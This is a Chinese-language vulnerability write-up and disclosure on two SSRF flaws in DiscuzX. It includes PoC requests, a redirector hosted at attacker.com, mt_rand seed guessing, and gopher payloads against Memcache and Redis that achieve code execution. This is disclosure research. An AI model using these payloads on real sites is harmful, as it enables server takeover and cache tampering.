DiscuzX 兩處 SSRF 挖掘及利用
概述
我在調試分析 DiscuzX (以下簡稱 Dz)歷史漏洞的時候,發現 Dz 的 SSRF 漏洞其實都是由一個叫dfsockopen
的函數導致的,並且官方修補方式都是指哪補哪。於是簡單過了一遍所有調用dfsockopen
的地方,最終又找到兩處 SSRF。本文將對這兩處 SSRF 漏洞成因以及利用方式做簡要探討。
關鍵函數 dfsockopen
本次漏洞的關鍵函數dfsockopen
:
function dfsockopen($url, $limit = 0, $post = , $cookie = , $bysocket = FALSE, $ip = , $timeout = 15, $block = TRUE, $encodetype = URLENCODE, $allowcurl = TRUE, $position = 0, $files = array()) {
require_once libfile(function/filesock);
return _dfsockopen($url, $limit, $post, $cookie, $bysocket, $ip, $timeout, $block, $encodetype, $allowcurl, $position, $files);
}
可以看到,dfsockopen
具體邏輯都是由 _dfsockopen
實現的。而 _dfsockopen
函數代碼的大致流程是:對傳入的 url 參數首先調用 parse_url
函數進行解析,然後檢測 PHP 環境是否安裝了 curl 擴展,如果是,那麼接下來會用 curl 對傳入的 url 參數發起請求;否則,則用 fsockopen
對解析出來的 host, port 建立 socket 連接,手動構造發送 HTTP 請求數據包。
_dfsockopen
函數代碼比較長,這裡只貼出其中調用 curl 進行處理的部分:
if(function_exists(curl_init) && function_exists(curl_exec) && $allowcurl) {
$ch = curl_init();
$httpheader = array();
if($ip) {
$httpheader[] = "Host: ".$host;
}
if($httpheader) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
}
curl_setopt($ch, CURLOPT_URL, $scheme.://.($ip ? $ip : $host).($port ? :.$port : ).$path);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, 1);
if($post) {
curl_setopt($ch, CURLOPT_POST, 1);
if($encodetype == URLENCODE) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
} else {
foreach($post as $k => $v) {
if(isset($files[$k])) {
$post[$k] = @.$files[$k];
}
}
foreach($files as $k => $file) {
if(!isset($post[$k]) && file_exists($file)) {
$post[$k] = @.$file;
}
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
}
if($cookie) {
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$data = curl_exec($ch);
$status = curl_getinfo($ch);
$errno = curl_errno($ch);
curl_close($ch);
if($errno || $status[http_code] != 200) {
return;
} else {
$GLOBALS[filesockheader] = substr($data, 0, $status[header_size]);
$data = substr($data, $status[header_size]);
return !$limit ? $data : substr($data, 0, $limit);
}
}
可以發現,dfsockopen
沒有檢查一個請求的地址是否是內網地址。除此之外,它會優先使用 curl 來構造發送請求,curl 是個很強大的網路請求程序,它默認支持的協議很多,其中包括「萬能」的協議 gopher:
gopher 可以構造發送任意內容的數據包:
另外注意一點,這裡代碼中的 curl 選項配置跟隨跳轉:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
眾所周知,跟隨跳轉在 SSRF 中可以 bypass 請求協議限制(雖然這裡並沒有)。除此之外,由於 Dz 中_xss_check
函數會檢查 url 中的特殊字元,如果檢查到某些特殊字元就會進行攔截,因此還可以利用跟隨跳轉來繞過 url 中不能出現特殊字元的限制:
private function _xss_check() {
static $check = array(", >, <, , (, ), CONTENT-TRANSFER-ENCODING);
if(isset($_GET[formhash]) && $_GET[formhash] !== formhash()) {
system_error(request_tainting);
}
if($_SERVER[REQUEST_METHOD] == GET ) {
$temp = $_SERVER[REQUEST_URI];
} elseif(empty ($_GET[formhash])) {
$temp = $_SERVER[REQUEST_URI].file_get_contents(php://input);
} else {
$temp = ;
}
if(!empty($temp)) {
$temp = strtoupper(urldecode(urldecode($temp)));
foreach ($check as $str) {
if(strpos($temp, $str) !== false) {
system_error(request_tainting);
}
}
}
return true;
}
尋找漏洞
所以如果想再找一個 SSRF 的思路就有了,直接找哪些地方調用了 dfsockopen
並且 url 參數可控的即可。去年 10 月份的時候更新了兩個關於 SSRF 的補丁:
- https://gitee.com/ComsenzDiscuz/DiscuzX/commit/19fd20f7420397b88278ac1a0dae65fe50012506
- https://gitee.com/ComsenzDiscuz/DiscuzX/commit/76a3c77c979f92dc1633ae581b5359db76096593
可以看到官方的修補辦法都是簡單粗暴,直接關閉對應的功能或者把功能僅限於對管理員開放。所以除了上面的兩個已經被修補外,我粗略找了下,又發現了兩個。
imgcropper SSRF
source/class/class_image.php
image
類init
方法:
function init($method, $source, $target, $nosuffix = 0) {
global $_G;
$this->errorcode = 0;
if(empty($source)) {
return -2;
}
$parse = parse_url($source);
if(isset($parse[host])) {
if(empty($target)) {
return -2;
}
$data = dfsockopen($source);
$this->tmpfile = $source = tempnam($_G[setting][attachdir]../temp/, tmpimg_);
if(!$data || $source === FALSE) {
return -2;
}
file_put_contents($source, $data);
}
......
}
再找哪些地方調用了image
類的init
方法,發現image
類的Thumb
、Cropper
、Watermark
方法都調用了init
。比如Thumb
:
function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0) {
$return = $this->init(thumb, $source, $target, $nosuffix);
......
}
所以再找哪些地方調用了image
類的Thumb
方法,最終發現:
source/module/misc/misc_imgcropper.php
52-57行:
require_once libfile(class/image);
$image = new image();
$prefix = $_GET[picflag] == 2 ? $_G[setting][ftp][attachurl] : $_G[setting][attachurl];
if(!$image->Thumb($prefix.$_GET[cutimg], $cropfile, $picwidth, $picheight)) {
showmessage(imagepreview_errorcode_.$image->errorcode, null, null, array(showdialog => true, closetime => true));
}
下斷點調試發現 $_G[setting][ftp][attachurl]
的值為 /
,而 $_G[setting][attachurl]
的值是 data/attachment/
。所以似乎 $prefix
為 /
才有 SSRF 利用的可能。
一開始構造 cutimg=/10.0.1.1/get
,這樣 $url
的值就為 //10.0.1.1/get
,按道理來說這應該算是一個正常的 url,但是結果卻請求失敗了。
仔細跟進 _dfsockopen
發現,在 PHP 環境安裝有 cURL 時,進入 curl 處理的代碼分支,直到這裡:
curl_setopt($ch, CURLOPT_URL, $scheme.://.($ip ? $ip : $host).($port ? :.$port : ).$path);
$scheme
、$host
、$port
、$path
都是 parse_url
解析 url 參數後的對應的值,而對像 //10.0.1.1/get
這樣的 url 解析時,$scheme
的值是 null
,因此最後拼接的結果是 ://10.0.1.1/get
,沒有協議,curl 最後對這種url的請求會自動在前面加上 HTTP://
,結果就變成了請求 HTTP://://10.0.1.1/get
,這種 url 在我的環境中會導致 curl 報錯。
所以我去掉了 curl 擴展,讓 _dfsockopen
函數代碼走 socket 發包的流程,踩了 parse_url
和 Dz 代碼的一些坑點(這裡就不展開了,有興趣的同學調下代碼就知道了),最後發現像這樣構造可以成功:
cutimg=/:@localhost:9090/dz-imgcropper-ssrf
poc:
POST /misc.php?mod=imgcropper&picflag=2&cutimg=/:@localhost:9090/dz-imgcropper-ssrf HTTP/1.1
Host: ubuntu-trusty.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: xkmD_2132_sid=E5sbVr; xkmD_2132_saltkey=m6Y8022s; xkmD_2132_lastvisit=1521612483; xkmD_2132_lastact=1521624907%09misc.php%09imgcropper; xkmD_2132_home_readfeed=1521616105; xkmD_2132_seccode=1.ecda87c571707d3f92; xkmD_2132_ulastactivity=a0f4A9CWpermv2t0GGOrf8%2BzCf6dZyAoQ3Sto7ORINqJeK4g3xcX; xkmD_2132_auth=40a4BIESn2PZVmGftNQ2%2BD1ImxpYr0HXke37YiChA2ruG6OryhLe0bUg53XKlioysCePIZGEO1jmlB1L4qbo; XG8F_2132_sid=fKyQMr; XG8F_2132_saltkey=U7lxxLwx; XG8F_2132_lastvisit=1521683793; XG8F_2132_lastact=1521699709%09index.php%09; XG8F_2132_ulastactivity=200fir8BflS1t8ODAa3R7YNsZTQ1k262ysLbc9wdHRzbPnMZ%2BOv7; XG8F_2132_auth=3711UP00sKWDx2Vo1DtO17C%2FvDfrelGOrwhtDmwu5vBjiXSHuPaFVJ%2FC%2BQi1mw4v4pJ66jx6otRFKfU03cBy; XG8F_2132_lip=172.16.99.1%2C1521688203; XG8F_2132_nofavfid=1; XG8F_2132_onlineusernum=3; XG8F_2132_sendmail=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
imgcroppersubmit=1&formhash=f8472648
此時 url 即為//:@localhost:9090/dz-imgcropper-ssrf
。SSRF 請求成功:
通過這種方式進行構造利用的話,不太需要額外的限制條件(只要求服務端 PHP 環境沒有安裝 curl 擴展)?,但是只能發 HTTP GET 請求,並且服務端不跟隨跳轉。漏洞危害有限。
後來 l3m0n 師傅也獨立發現了這個漏洞,並且他發現較高版本的 curl 是可以成功請求 HTTP://:/
的,較高版本的 curl 會將這種 url 地址解析到 127.0.0.1 的 80 埠:
最後他再利用之前 PHP parse_url
的解析 bug( https://bugs.php.net/bug.php?id=73192 ),及利用 parse_url
和 curl 對 url 的解析差異,成功進行 302 跳轉到任意惡意地址,最後再 302 跳轉到 gopher 就做到發送任意數據包。詳情可以參考 l3m0n 的博客:
Discuz x3.4前台SSRF - l3m0n - 博客園
但是這種利用方式對 PHP、curl 版本都有特殊的要求,而且要服務端環境接受空 Host 的請求。總的來說,imgcropper SSRF 仍然比較雞肋。
Weixin Plugin SSRF
source/plugin/wechat/wechat.class.php
WeChat
類syncAvatar
方法:
static public function syncAvatar($uid, $avatar) {
if(!$uid || !$avatar) {
return false;
}
if(!$content = dfsockopen($avatar)) {
return false;
}
$tmpFile = DISCUZ_ROOT../data/avatar/.TIMESTAMP.random(6);
file_put_contents($tmpFile, $content);
if(!is_file($tmpFile)) {
return false;
}
$result = uploadUcAvatar::upload($uid, $tmpFile);
unlink($tmpFile);
C::t(common_member)->update($uid, array(avatarstatus=>1));
return $result;
}
source/plugin/wechat/wechat.inc.php
中調用了WeChat::syncAvatar
,直接用$_GET[avatar]
作為參數傳進去:
......
elseif(($ac == register && submitcheck(submit) || $ac == wxregister) && $_G[wechat][setting][wechat_allowregister]) {
......
$uid = WeChat::register($_GET[username], $ac == wxregister);
if($uid && $_GET[avatar]) {
WeChat::syncAvatar($uid, $_GET[avatar]);
}
}
不過因為這裡用到了微信登錄的插件,所以要利用的話需要目標站開啟微信登錄:
這裡 SSRF 的構造很簡單,直接在avatar
參數構造 url 即可(只是注意wxopenid
參數每次請求都要足夠隨機保證沒有重複,如果重複的話代碼是無法走到發起請求的邏輯的):
poc:
http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http://localhost:9090/dz-weixin-plugin-ssrf&wxopenid=dont_be_evil
Dz SSRF getshell
烏雲關閉前 Jannock 給 Dz 交過需要一定條件命令執行的漏洞,當時由於漏洞還未公開烏雲就已關閉所以具體的細節我已不得而知。不過我後來從網上各處搜羅查找資料,發現 chengable 寫的一篇分析那個漏洞文章:discuz利用ssrf+緩存應用getshell漏洞分析 - CHENGABLE BLOG ,從而知道是用 SSRF 篡改緩存從而 getshell。本著學習的態度,我搭環境調試了這個精彩的漏洞利用方式,並且發現除了 Redis,攻擊 Memcache 也是可以的,只不過要多踩一個坑。
先說結論:Dz 由 dfsockopen
函數導致的 SSRF,如果要 getshell,目標站需要滿足以下幾個條件:
- 服務端 PHP 環境安裝有 curl 擴展(為了通過 curl 使用 gopher 協議)
- 使用 Memcache 或未設置密碼認證的 Redis 進行緩存
由於 imgcropper SSRF 利用限制較多,所以這裡我用 Weixin Plugin SSRF進行演示。
SSRF 攻擊 Memcache
Dz 整合 Memcache 配置成功後,默認情況下網站首頁右下角會出現MemCache On
的標誌:
Dz 在安裝的時候,對於緩存中的鍵名加了隨機字元串作為前綴。所以如果 SSRF 要攻擊 Memcache ,第一個問題是,如何找到正確的鍵名?
install/index.php
345-357行:
$uid = DZUCFULL ? 1 : $adminuser[uid];
$authkey = md5($_SERVER[SERVER_ADDR].$_SERVER[HTTP_USER_AGENT].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 8)).random(18);
$_config[db][1][dbhost] = $dbhost;
$_config[db][1][dbname] = $dbname;
$_config[db][1][dbpw] = $dbpw;
$_config[db][1][dbuser] = $dbuser;
$_config[db][1][tablepre] = $tablepre;
$_config[admincp][founder] = (string)$uid;
$_config[security][authkey] = $authkey;
$_config[cookie][cookiepre] = random(4)._;
$_config[memory][prefix] = random(6)._;
save_config_file(ROOT_PATH.CONFIG, $_config, $default_config);
這是 Dz 在安裝的時候的一段代碼,這段代碼設置了 authkey、Cookie 前綴以及緩存鍵名前綴,其中用到了random
函數生成隨機字元串。所以跟進這個random
:
function random($length) {
$hash = ;
$chars = ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz;
$max = strlen($chars) - 1;
PHP_VERSION < 4.2.0 && mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
可以發現,如果 PHP 版本大於 4.2.0,那麼 mt_rand
隨機數的種子是不變的。也就是說,生成 authkey、Cookie 前綴以及緩存鍵名前綴時調用的 mt_rand
用的都是同一個種子,而 Cookie 前綴是已知的,通過觀察 HTTP 請求就可以知道。因此,隨機數播種的種子可以被縮到一個極小的範圍內進行猜解。這裡可以用 php_mt_seed 進行種子爆破。
通過 mt_rand
種子的猜解,緩存鍵名前綴的可能性從 62^6 縮小到不到 1000 個,這就完全屬於可以爆破的範疇了。對猜解出來的所有可能的緩存鍵名前綴分別構造 SSRF 請求發送到伺服器,最後即能更改某一鍵名對應的鍵值。
Memcache 緩存鍵名的問題解決了,接下來的問題是,緩存數據被載入到哪了?如何通過修改緩存數據來 getshell?
這一部分的思路就可以直接參照 chengable 寫的那篇文章了,output_replace
函數細節有略微變化,但大體思路是一致的,所以我也不再贅述了。
最後準備用 gopher 協議構造 SSRF 的 payload。寫這樣一段代碼(先假設緩存鍵名前綴是 IwRW7l
):
<?php
$_G[setting][output][preg][search][plugins] = /.*/;
$_G[setting][output][preg][replace][plugins] = phpinfo();
$_G[setting][rewritestatus] = 1;
$memcache = new Memcache;
$memcache->connect(localhost, 11211) or die ("Could not connect");
$memcache->set(IwRW7l_setting, $_G[setting]);
運行這段 PHP 代碼,同時抓包,然後將數據包改成 gopher 的形式,即:
gopher://localhost:11211/_set%20IwRW7l_setting%201%200%20161%0d%0aa%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A4%3A%22%2F.*%2F%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D
但是直接用它去 SSRF 是不可以的,會被_xss_check
檢測到特殊字元而被拒絕請求:
所以利用這裡請求跟隨跳轉的特點,在自己的遠程伺服器上放類似於這樣的一個腳本:
<?php
$url = base64_decode($_REQUEST[url]);
header( "Location: " . $url );
這樣就可以將 SSRF URL 進行 base64 編碼從而規避_xss_check
的檢測。
http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http%3A%2F%2Fattacker.com%2F302.php%3Furl%3DZ29waGVyOi8vbG9jYWxob3N0OjExMjExL19zZXQlMjBJd1JXN2xfc2V0dGluZyUyMDElMjAwJTIwMTYxJTBkJTBhYSUzQTIlM0ElN0JzJTNBNiUzQSUyMm91dHB1dCUyMiUzQmElM0ExJTNBJTdCcyUzQTQlM0ElMjJwcmVnJTIyJTNCYSUzQTIlM0ElN0JzJTNBNiUzQSUyMnNlYXJjaCUyMiUzQmElM0ExJTNBJTdCcyUzQTclM0ElMjJwbHVnaW5zJTIyJTNCcyUzQTQlM0ElMjIlMkYuKiUyRiUyMiUzQiU3RHMlM0E3JTNBJTIycmVwbGFjZSUyMiUzQmElM0ExJTNBJTdCcyUzQTclM0ElMjJwbHVnaW5zJTIyJTNCcyUzQTklM0ElMjJwaHBpbmZvKCklMjIlM0IlN0QlN0QlN0RzJTNBMTMlM0ElMjJyZXdyaXRlc3RhdHVzJTIyJTNCaSUzQTElM0IlN0Q%253D&wxopenid=xxxyyy
再訪問/forum.php?mod=ajax&action=getthreadtypes&inajax=yes
,即可看到phpinfo()
代碼已被執行:
由於緩存被暴力篡改,會導致網站無法正常運行。恢復正常辦法是刷新緩存。用上面的思路直接一次 getshell 後執行以下命令,網站就可以恢復正常:
echo -e flush_all | nc localhost 11211
最後我寫了個將上述整個過程自動化 getshell 的腳本:
SSRF 攻擊 Redis
類似地,Dz 整合 Redis 配置成功後,默認情況下網站首頁右下角會出現Redis On
的標誌:
SSRF 攻擊 Redis 步驟實際上就比攻擊 Memcache 簡單了,因為 Redis 支持 lua 腳本,可以直接用 lua 腳本獲取緩存鍵名而無需再去猜解前綴。當然能成功攻擊的前提是 Redis 沒有配置密碼認證,Discuz requirepass 那一項為空:
Redis 交互命令行執行 lua 腳本:
eval "local t=redis.call(keys,*_setting); for i,v in ipairs(t) do redis.call(set, v, a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:4:"/.*/";}s:7:"replace";a:1:{s:7:"plugins";s:9:"phpinfo()";}}}s:13:"rewritestatus";i:1;}) end; return 1;" 0
同樣地,對這個過程抓包,將數據包改成 gopher 的形式:
gopher://localhost:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24264%0d%0alocal%20t%3Dredis.call(keys%2C*_setting)%3B%20for%20i%2Cv%20in%20ipairs(t)%20do%20redis.call(set%2C%20v%2C%20a%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A4%3A%22%2F.*%2F%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D)%20end%3B%20return%201%3B%0d%0a%241%0d%0a0%0d%0a
SSRF 利用:
http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http%3A%2F%2Fattacker.com%2F302.php%3Furl%3DZ29waGVyOi8vbG9jYWxob3N0OjYzNzkvXyozJTBkJTBhJTI0NCUwZCUwYWV2YWwlMGQlMGElMjQyNjQlMGQlMGFsb2NhbCUyMHQlM0RyZWRpcy5jYWxsKCdrZXlzJyUyQycqX3NldHRpbmcnKSUzQiUyMGZvciUyMGklMkN2JTIwaW4lMjBpcGFpcnModCklMjBkbyUyMHJlZGlzLmNhbGwoJ3NldCclMkMlMjB2JTJDJTIwJ2ElM0EyJTNBJTdCcyUzQTYlM0ElMjJvdXRwdXQlMjIlM0JhJTNBMSUzQSU3QnMlM0E0JTNBJTIycHJlZyUyMiUzQmElM0EyJTNBJTdCcyUzQTYlM0ElMjJzZWFyY2glMjIlM0JhJTNBMSUzQSU3QnMlM0E3JTNBJTIycGx1Z2lucyUyMiUzQnMlM0E0JTNBJTIyJTJGLiolMkYlMjIlM0IlN0RzJTNBNyUzQSUyMnJlcGxhY2UlMjIlM0JhJTNBMSUzQSU3QnMlM0E3JTNBJTIycGx1Z2lucyUyMiUzQnMlM0E5JTNBJTIycGhwaW5mbygpJTIyJTNCJTdEJTdEJTdEcyUzQTEzJTNBJTIycmV3cml0ZXN0YXR1cyUyMiUzQmklM0ExJTNCJTdEJyklMjBlbmQlM0IlMjByZXR1cm4lMjAxJTNCJTBkJTBhJTI0MSUwZCUwYTAlMGQlMGE%253D&wxopenid=xxxyyyzzz
代碼即再次執行成功。
修復補丁
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3
Dz 參照了 WordPress 中的做法,對 url 的請求協議、埠做了白名單檢查,並限制了請求 IP 地址不能為除了 localhost 以外的其他內網段地址,更重要的是不再跟隨跳轉。因此無法再通過 SSRF 利用 gopher 協議攻擊 Dz 的緩存服務了。
時間線
- 2018/03/23:向 TSRC 報告兩處 SSRF
- 2018/03/26:TSRC 確認漏洞存在,並準備進行漏洞修復
- 2018/04/09 - 2018/08/01:協助 TSRC 進行漏洞修復
- 2018/11/06:DiscuzX 在 gitee 上提交補丁 commit
- 2018/12/09:公開漏洞詳情
推薦閱讀: